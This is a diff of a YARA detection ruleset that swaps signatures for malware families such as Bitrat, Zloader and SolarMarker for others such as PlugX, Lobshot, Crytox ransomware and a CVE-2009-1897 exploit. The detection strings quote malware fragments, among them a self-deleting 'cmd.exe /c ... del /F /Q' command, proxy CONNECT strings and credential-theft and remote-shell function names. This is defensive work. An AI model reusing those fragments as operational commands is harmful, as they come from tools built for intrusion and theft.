-		$crypto_0 = { 32 C7 8A DF 88 04 39 8B C1 6A 05 59 F7 F1 8A C7 8D 4A 01 D2 E3 B1 07 2A CA D2 E8 8B 4D F8 0A D8 02 FB 41 }
-		$crypto_1 = { 8A 1F 0F B6 C3 83 E0 7F D3 E0 99 09 55 ?? 0B F0 47 84 DB 79 ?? 83 C1 07 83 F9 3F }
-		$crypto_2 = { E8 [4] 03 F0 33 D2 8B C6 89 75 ?? 25 FF FF FF 7F 6A 34 59 F7 F1 8B 45 ?? 66 8B 0C 55 [4] 66 89 0C 43 40 89 45 ?? 3B C7 }
-		$crypto_3 = { 61 00 62 00 63 00 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 6C 00 6D 00 6E 00 6F 00 70 00 71 00 72 00 73 00 74 00 }
-		$com_tm_cid = { 9F 36 87 0F E5 A4 FC 4C BD 3E 73 E6 15 45 72 DD }
-		$com_tm_iid = { C0 C7 A4 AB 2F A9 4D 13 40 96 97 20 CC 3F D4 0F 85 }
+		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 61 00 74 00 69 00 6C 00 6C 00 6B 00 36 00 34 00 2E 00 73 00 79 00 73 00 00 00 }
+		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x0b][\x00-\x00])([\x00-\x05][\x00-\x00])([\x00-\x00][\x00-\x00])([\x00-\x09][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x04][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x0a][\x00-\x00])([\x00-\x05][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x0b][\x00-\x00])([\x00-\x05][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\x08][\x00-\x00]))/
 
 	condition:
-		any of ($crypto_*) and all of ($com_tm_*)
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
 }
-rule ELASTIC_Windows_Trojan_Downtown_901C4Fdd : FILE MEMORY
+rule ELASTIC_Linux_Exploit_CVE_2009_1897_6Cf0A073 : FILE MEMORY CVE_2009_1897
 {
 	meta:
-		description = "Detects Windows Trojan Downtown (Windows.Trojan.DownTown)"
+		description = "Detects Linux Exploit Cve 2009 1897 (Linux.Exploit.CVE-2009-1897)"
 		author = "Elastic Security"
-		id = "901c4fdd-858c-4ad8-be12-f88799d591b9"
-		date = "2023-05-10"
-		modified = "2023-06-13"
-		reference = "https://www.elastic.co/security-labs/introducing-the-ref5961-intrusion-set"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_DownTown.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "6368d37fa9ba4e32131e16bceaee322f2fa8507873d01ebd687536e593354725"
+		id = "6cf0a073-571e-48ef-be58-807bff1a5e97"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_CVE_2009_1897.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "85f371bf73ee6d8fcb6fa9a8a68b38c5e023151257fd549855c4c290cc340724"
+		logic_hash = "dcde454fda09cb6bc7b213b76d70eafd65d2601cfda70ff25c6940b55ce3adb6"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "1ef6dfd9be1e6fa2d1c6b5ce32ad13252f5becf709493a7cceff3519750e0b1e"
+		tags = "FILE, MEMORY, CVE-2009-1897"
+		fingerprint = "8fcb3687d4ec5dd467d937787f0659448a91446f92a476ff7ba471a02d6b07a9"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "SendFileBuffer error -1 !!!" fullword
-		$a2 = "ScheduledDownloadTasks CODE_FILE_VIEW " fullword
-		$a3 = "ExplorerManagerC.dll" fullword
+		$a = { 31 C0 85 DB 78 28 45 31 C9 41 89 D8 B9 02 00 00 00 BA 01 00 }
 
 	condition:
-		3 of them
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Downtown_145Ecd2F : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Toshibabios_2891972A : FILE
 {
 	meta:
-		description = "Detects Windows Trojan Downtown (Windows.Trojan.DownTown)"
+		description = "Name: NCHGBIOS2x64.SYS, Version: 4.2.4.0"
 		author = "Elastic Security"
-		id = "145ecd2f-d012-4566-a2e9-696cdbd793ce"
-		date = "2023-08-23"
-		modified = "2023-09-20"
-		reference = "https://www.elastic.co/security-labs/introducing-the-ref5961-intrusion-set"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_DownTown.yar#L23-L44"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "744a51c5317e265177185d9d0b8838a8fc939b4c56cc5e5bc51d5432d046d9f1"
+		id = "2891972a-901d-47d3-ae73-39b7c601dd19"
+		date = "2022-04-07"
+		modified = "2022-04-07"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_ToshibaBios.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "314384b40626800b1cde6fbc51ebc7d13e91398be2688c2a58354aa08d00b073"
+		logic_hash = "c253181a754f421ee36ced994412672770497756848d78d557907957486e711b"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "d755ad4a24b390ce56d4905e40cec83a39ea515cfbe7e1a534950ca858343e70"
-		severity = 100
+		tags = "FILE"
+		fingerprint = "154a771873bef03d1cc63cb2e270a62d42bbd2aa9027a59bc027b3ff88641192"
+		threat_name = "Windows.VulnDriver.ToshibaBios"
+		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = "DeletePluginObject"
-		$a2 = "GetPluginInfomation"
-		$a3 = "GetPluginObject"
-		$a4 = "GetRegisterCode"
+		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 4E 00 43 00 48 00 47 00 42 00 49 00 4F 00 53 00 32 00 78 00 36 00 34 00 2E 00 53 00 59 00 53 00 00 00 }
+		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x02][\x00-\x00])([\x00-\x04][\x00-\x00])([\x00-\x00][\x00-\x00])([\x00-\x04][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x03][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x01][\x00-\x00])([\x00-\x04][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x02][\x00-\x00])([\x00-\x04][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\x03][\x00-\x00]))/
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
 }
-rule ELASTIC_Windows_Hacktool_Sharpshares_88Cdcd52 : FILE MEMORY
+rule ELASTIC_Macos_Trojan_Hloader_A3945Baf : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Hacktool Sharpshares (Windows.Hacktool.SharpShares)"
+		description = "Detects Macos Trojan Hloader (MacOS.Trojan.HLoader)"
 		author = "Elastic Security"
-		id = "88cdcd52-9f5b-4ab6-8f20-137c8569d112"
-		date = "2022-10-20"
-		modified = "2022-11-24"
+		id = "a3945baf-4708-4a0b-8a9b-1a5448ee4bc7"
+		date = "2023-10-23"
+		modified = "2023-10-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_SharpShares.yar#L1-L30"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "bbdd3620a67aedec4b9a68b2c9cc880b6631215e129816aea19902a6f4bc6f41"
-		logic_hash = "85c59b939da6158f931e779c2884cea77b80fab54ee5e157d86afa19f0253db3"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Trojan_HLoader.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2360a69e5fd7217e977123c81d3dbb60bf4763a9dae6949bc1900234f7762df1"
+		logic_hash = "0383485b6bbcdae210a6c949f6796023b2f7ec3f1edbd2116207fc2b75a67849"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "ae0cf8bbdfecfebf69d718dc0ccc8402ed7f2f949e2b6bab606bbf69aa6c2518"
+		fingerprint = "a48ec79f07a6a53611b1d1e8fe938513ec0ea19344126e07331b48b028cb877e"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "macos"
 
 	strings:
-		$guid = "BCBC884D-2D47-4138-B68F-7D425C9291F9" ascii wide nocase
-		$print_str0 = "all enabled computers with \"primary\" group \"Domain Computers\"" ascii wide
-		$print_str1 = "all enabled Domain Controllers (not read-only DCs)" ascii wide
-		$print_str2 = "all enabled servers excluding Domain Controllers or read-only DCs" ascii wide
-		$str0 = "(&(objectCategory=computer)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))" ascii wide
-		$str1 = "(&(objectCategory=computer)(!(userAccountControl:1.2.840.113556.1.4.803:=2))(userAccountControl:1.2.840.113556.1.4.803:=8192))" ascii wide
-		$str2 = "(&(objectCategory=computer)(!(userAccountControl:1.2.840.113556.1.4.803:=2))(!(userAccountControl:1.2.840.113556.1.4.803:=8192))(!(userAccountControl:1.2.840.113556.1.4.803:=67100867)))" ascii wide
-		$str3 = "(&(objectCategory=computer)(!(userAccountControl:1.2.840.113556.1.4.803:=2))(operatingSystem=*server*)(!(userAccountControl:1.2.840.113556.1.4.803:=8192))(!(userAccountControl:1.2.840.113556.1.4.803:=67100867)))" ascii wide
-		$str4 = "servers-exclude-dc" ascii wide
-		$str5 = "all enabled servers" ascii wide
-		$str6 = "[w] \\\\{0}\\{1}" ascii wide
-		$str7 = "[-] \\\\{0}\\{1}" ascii wide
+		$seq_main = { 74 ?? 49 89 C7 48 89 D8 4C 89 FF E8 ?? ?? ?? ?? 48 89 DF 31 F6 BA ?? ?? ?? ?? 4C 89 65 ?? 4D 89 F4 4C 89 F1 4C 8B 75 ?? 41 FF 56 ?? }
+		$seq_exec = { 48 B8 00 00 00 00 00 00 00 E0 48 89 45 ?? 4C 8D 6D ?? BF 11 00 00 00 E8 ?? ?? ?? ?? 0F 10 45 ?? 0F 11 45 ?? 48 BF 65 78 65 63 46 69 6C 65 48 BE 20 65 72 72 6F 72 20 EF }
+		$seq_rename = { 41 89 DE 84 DB 74 ?? 48 8B 7D ?? FF 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? 4C 89 E7 E8 ?? ?? ?? ?? }
 
 	condition:
-		$guid or all of ($print_str*) or 4 of ($str*)
+		2 of ($seq*)
 }
-rule ELASTIC_Windows_Trojan_Solarmarker_D466E548 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Plugx_5F3844Ff : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Solarmarker (Windows.Trojan.SolarMarker)"
+		description = "Detects Windows Trojan Plugx (Windows.Trojan.PlugX)"
 		author = "Elastic Security"
-		id = "d466e548-eb88-41e6-9740-ae59980db835"
-		date = "2023-12-12"
-		modified = "2024-01-12"
+		id = "5f3844ff-2da6-48b4-9afb-343149af03ac"
+		date = "2023-08-28"
+		modified = "2023-09-20"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_SolarMarker.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "330f5067c93041821be4e7097cf32fb569e2e1d00e952156c9aafcddb847b873"
-		hash = "e2a620e76352fa7ac58407a711821da52093d97d12293ae93d813163c58eb84b"
-		logic_hash = "c0792bc3c1a2f01ff4b8d0a12c95a74491c2805c876f95a26bbeaabecdff70e9"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_PlugX.yar#L1-L23"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a823380e46878dfa8deb3ca0dc394db1db23bb2544e2d6e49c0eceeffb595875"
+		logic_hash = "a1a484f4cf00ec0775a3f322bae66ce5f9cc52f08306b38f079445233c49bf52"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "0f4b0162ee8283959e10c459ddc55eb00eae30d241119aad1aa3ea6c101f9889"
+		fingerprint = "5365e6978ffca67e232165bca7bcdc5064abd5c589e49e19aa640f59dd5285ab"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -87570,28 +91427,32 @@ rule ELASTIC_Windows_Trojan_Solarmarker_D466E548 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = { 00 00 2B 03 00 2B 15 00 07 2D 09 08 16 FE 01 16 FE 01 2B 01 17 00 13 04 11 04 2D 8C 07 2D 06 08 }
+		$a1 = "EAddr:0x%p"
+		$a2 = "Host: [%s:%d]" ascii fullword
+		$a3 = "CONNECT %s:%d HTTP/1.1" ascii fullword
+		$a4 = "%4.4d-%2.2d-%2.2d %2.2d:%2.2d:%2.2d:" wide fullword
+		$a5 = "\\bug.log" wide fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Solarmarker_08Bfc26B : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Plugx_F338Dab5 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Solarmarker (Windows.Trojan.SolarMarker)"
+		description = "Detects Windows Trojan Plugx (Windows.Trojan.PlugX)"
 		author = "Elastic Security"
-		id = "08bfc26b-efda-49b4-b685-57edca8b9d18"
-		date = "2024-05-29"
+		id = "f338dab5-8c8f-46d7-8f93-48077fc76da1"
+		date = "2024-06-05"
 		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_SolarMarker.yar#L22-L42"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c1a6d2d78cc50f080f1fe4cadc6043027bf201d194f2b73625ce3664433a3966"
-		logic_hash = "b31b9f8460b606426c1101eba39a41a75c7ecaafc62388a6a5ac0f24057561ed"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_PlugX.yar#L25-L45"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "8af3fc1f8bd13519d78ee83af43daaa8c5e2c3f184c09f5c41941e0c6f68f0f7"
+		logic_hash = "0482305a73bc500aa7c266536cb8286ea796f6b1eaba39547bed22313bbb4457"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "9c0c4a5bce63c9d99d53813f7250b3ccc395cb99eaebb8c016f8c040fbfa4ea7"
+		fingerprint = "7c9f3d739eb17c545ded116387400340117acc23f3ef9fec9eacf993f1d2eb80"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -87599,30 +91460,30 @@ rule ELASTIC_Windows_Trojan_Solarmarker_08Bfc26B : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = { 07 09 91 61 D2 9C 09 20 C8 00 00 00 5D 16 FE 01 16 FE 01 13 }
-		$a2 = { 91 07 08 91 61 D2 9C 08 20 C8 00 00 00 5D 16 FE 01 16 FE 01 }
-		$a3 = { 06 08 06 08 91 07 08 91 61 D2 9C 08 20 C8 00 00 00 5D 16 FE }
+		$a1 = { 45 08 FF B0 60 03 00 00 E8 A8 0C 00 00 83 C4 24 8D 45 08 89 }
+		$a2 = { 2C 5E 5F 5B 5D C3 CC 55 53 57 56 83 EC 10 8B 6C 24 30 8B 44 }
+		$a3 = { 89 4D D4 83 60 04 00 3B F3 75 40 E8 53 DA FF FF 8B 40 08 89 }
 
 	condition:
-		any of them
+		2 of them
 }
-rule ELASTIC_Windows_Trojan_Bitrat_34Bd6C83 : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Crytox_29859242 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Bitrat (Windows.Trojan.Bitrat)"
+		description = "Detects Windows Ransomware Crytox (Windows.Ransomware.Crytox)"
 		author = "Elastic Security"
-		id = "34bd6c83-9a71-43d5-b0b1-1646a8fb66e8"
-		date = "2021-06-13"
-		modified = "2021-08-23"
+		id = "29859242-adf4-4d17-afdf-dbc02f5b787b"
+		date = "2024-01-18"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Bitrat.yar#L1-L23"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "37f70ae0e4e671c739d402c00f708761e98b155a1eefbedff1236637c4b7690a"
-		logic_hash = "d386fc2a4b6a98638328d1aa05a8d8dbb7a1bbcd72943457b1a5a27b056744ef"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Crytox.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "55a27cb6280f31c077987d338151b13e9dc0cc1c14d47a32e64de6d6c1a6a742"
+		logic_hash = "47ca96e14b2b56bc6ef1ed22b42adac7aa557170632c2dc085fae3baf6198f40"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "bc4a5fad1810ad971277a455030eed3377901a33068bb994e235346cfe5a524f"
+		fingerprint = "999713c1815d61904f13f7f9cbaf34b116f53af223b2aac20bf0d88af107dbae"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -87630,32 +91491,28 @@ rule ELASTIC_Windows_Trojan_Bitrat_34Bd6C83 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = "crd_logins_report" ascii fullword
-		$a2 = "drives_get" ascii fullword
-		$a3 = "files_get" ascii fullword
-		$a4 = "shell_stop" ascii fullword
-		$a5 = "hvnc_start_ie" ascii fullword
+		$a = { 48 83 C7 20 D7 C1 C8 08 D7 C1 C8 08 D7 C1 C8 08 D7 C1 C8 10 33 C2 33 47 E0 D0 E2 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Bitrat_54916275 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Lobshot_013C1B0B : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Bitrat (Windows.Trojan.Bitrat)"
+		description = "Detects Windows Trojan Lobshot (Windows.Trojan.Lobshot)"
 		author = "Elastic Security"
-		id = "54916275-2a0f-4966-956d-7122a4aea9c8"
-		date = "2022-08-29"
-		modified = "2022-09-29"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Bitrat.yar#L25-L43"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d3b2c410b431c006c59f14b33e95c0e44e6221b1118340c745911712296f659f"
-		logic_hash = "4c66f79f4bf6bde49bfb9208e6dc1d3b5d041927565e7302381838b0f32da6f4"
+		id = "013c1b0b-da18-4c09-ab18-5c8428a1f4dc"
+		date = "2023-04-18"
+		modified = "2023-04-23"
+		reference = "https://www.elastic.co/security-labs/elastic-security-labs-discovers-lobshot-malware"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Lobshot.yar#L1-L30"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e4ea88887753a936eaf3361dcc00380b88b0c210dcbde24f8f7ce27991856bf6"
+		logic_hash = "e1fb245c3441c9bd393a47a9bed01bf7f62aa3ec36d460584d75e326e7e92ad4"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "8758b1a839ff801170f6d4ae9186a69af6370f8081defdd25b62e50a3ddcffef"
+		fingerprint = "e39109421b3e156f814d33f1df327005f808f58f59bfe34ed6190076d7aace4b"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -87663,57 +91520,66 @@ rule ELASTIC_Windows_Trojan_Bitrat_54916275 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = { 6A 10 68 50 73 78 00 E8 5F 4D 02 00 8B 7D 08 85 FF 75 0D FF 15 1C 00 6E 00 50 FF 15 68 03 6E 00 }
+		$str0 = "HVNC Remote Control" ascii fullword
+		$str1 = " Error # %d - %08lx" ascii fullword
+		$str2 = "Set  clipboard text failed." ascii fullword
+		$str3 = "OK %08lx %08lx %d" ascii fullword
+		$str4 = "\") & (rundll32.exe \"" wide fullword
+		$str5 = "%LOCALAPPDATA%\\svc.db" wide fullword
+		$str6 = "cmd.exe /c (ping -n 10 127.0.0.1) & (del /F /Q \"" wide fullword
+		$seq_str_decrypt = { 8A 5A ?? 8D 52 ?? 80 EB ?? 85 FF 74 ?? C0 E0 ?? 2C ?? 0A C3 32 C1 32 C7 88 06 32 E8 83 C6 ?? 83 C5 ?? EB ?? }
+		$seq_emu_check = { 8B 35 ?? ?? ?? ?? 8D 44 24 ?? 50 8D 44 24 ?? C7 44 24 ?? 48 41 4C 39 50 C7 44 24 ?? 54 48 00 00 FF D6 }
+		$seq_enum_xor = { FF 15 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 83 7C 24 ?? 00 0F 84 ?? ?? ?? ?? 8B 4C 24 ?? 68 07 80 00 00 8B 41 ?? 8A 00 32 01 A2 ?? ?? ?? ?? }
+		$seq_create_guid = { 8D 48 ?? 80 F9 ?? 77 ?? 2C ?? C1 E2 ?? 46 0F B6 C8 0B D1 83 FE ?? 7C ?? 5F 8B C2 5E C3 }
 
 	condition:
-		all of them
+		2 of ($seq*) or 5 of ($str*)
 }
-rule ELASTIC_Windows_Trojan_Zloader_5Dd0A0Bf : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Morpes_D2Ae1Edf : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Zloader (Windows.Trojan.Zloader)"
+		description = "Detects Linux Trojan Morpes (Linux.Trojan.Morpes)"
 		author = "Elastic Security"
-		id = "5dd0a0bf-20e4-4c52-b9d9-c157e871b06b"
-		date = "2022-03-03"
-		modified = "2022-04-12"
+		id = "d2ae1edf-7dd3-4506-96e0-039c8f00d688"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Zloader.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "161e657587361b29cdb883a6836566a946d9d3e5175e166a9fe54981d0c667fa"
-		logic_hash = "1446a4147e1b06fa66907de857011079c55a8e6bf84276eb8518d33468ba1f83"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Morpes.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "14c4c297388afe4be47be091146aea6c6230880e9ea43759ef29fc1471c4b86b"
+		logic_hash = "27eb8b4d0f91477c2ac26a5e25bfc52903faf5501300ec40773d3fc6797c3218"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "06545df6c556adf8a6844724e77d005c0299b544f21df2ea44bb9679964dbb9f"
+		fingerprint = "a4cedb0ef6c9c5121ee63c0c8f6bb8072f62b5866c916c7000d94999cd61b9b5"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { B6 08 89 CA 80 C2 F7 80 FA 05 72 F2 80 F9 20 74 ED 03 5D 0C 8D }
+		$a = { 64 B0 05 00 00 B0 05 00 00 B0 05 00 00 3C 00 00 00 3C 00 00 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Zloader_4Fe0F7F1 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Parallax_D72Ec0E2 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Zloader (Windows.Trojan.Zloader)"
+		description = "Detects Windows Trojan Parallax (Windows.Trojan.Parallax)"
 		author = "Elastic Security"
-		id = "4fe0f7f1-93c6-4397-acd5-1557608efaf4"
-		date = "2022-03-03"
-		modified = "2022-04-12"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Zloader.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "161e657587361b29cdb883a6836566a946d9d3e5175e166a9fe54981d0c667fa"
-		logic_hash = "b20fafc9db08c7668b49e18f45632594c3a69ec65fe865e79379c544fc424f8d"
+		id = "d72ec0e2-cf33-4ed8-8d3f-66bc93e11f26"
+		date = "2022-09-05"
+		modified = "2022-09-29"
+		reference = "https://www.elastic.co/security-labs/exploring-the-ref2731-intrusion-set"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Parallax.yar#L1-L22"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "6c2c84624912f3b612ae435cf3e8000192a1b168b30205ed4a93b7fab7e336ad"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f340f41cc69930d24ffdae484d1080cd9ce5cb5e7720868c956923a5b8e6c9b1"
+		fingerprint = "897117bf47d993f5cb360a0c65b1bb3df72b594334c896c1d5e7e858df202d49"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -87721,28 +91587,30 @@ rule ELASTIC_Windows_Trojan_Zloader_4Fe0F7F1 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a = { 08 8B 75 F0 85 DB 8D 7D 94 89 45 E8 0F 45 FB 31 DB 85 F6 0F }
+		$COM_png = { B9 01 00 00 00 6B D1 00 C6 44 15 D4 83 B8 01 00 00 00 C1 E0 00 C6 44 05 D4 B6 B9 01 00 00 00 D1 E1 C6 44 0D D4 33 BA 01 00 00 00 6B C2 03 C6 44 05 D4 28 B9 01 00 00 00 C1 E1 02 C6 44 0D D4 36 BA 01 00 00 00 6B C2 05 C6 44 05 D4 6B B9 01 00 00 00 6B D1 06 C6 44 15 D4 90 B8 01 00 00 00 6B C8 07 C6 44 0D D4 97 }
+		$png_parse = { 8B 4D ?? 8B 04 B8 85 C9 74 ?? 8B F1 90 8A 08 8D 40 ?? 88 0C 1A 42 83 EE ?? 75 ?? 8B 4D ?? 8B 45 ?? 47 3B 7D ?? 72 ?? }
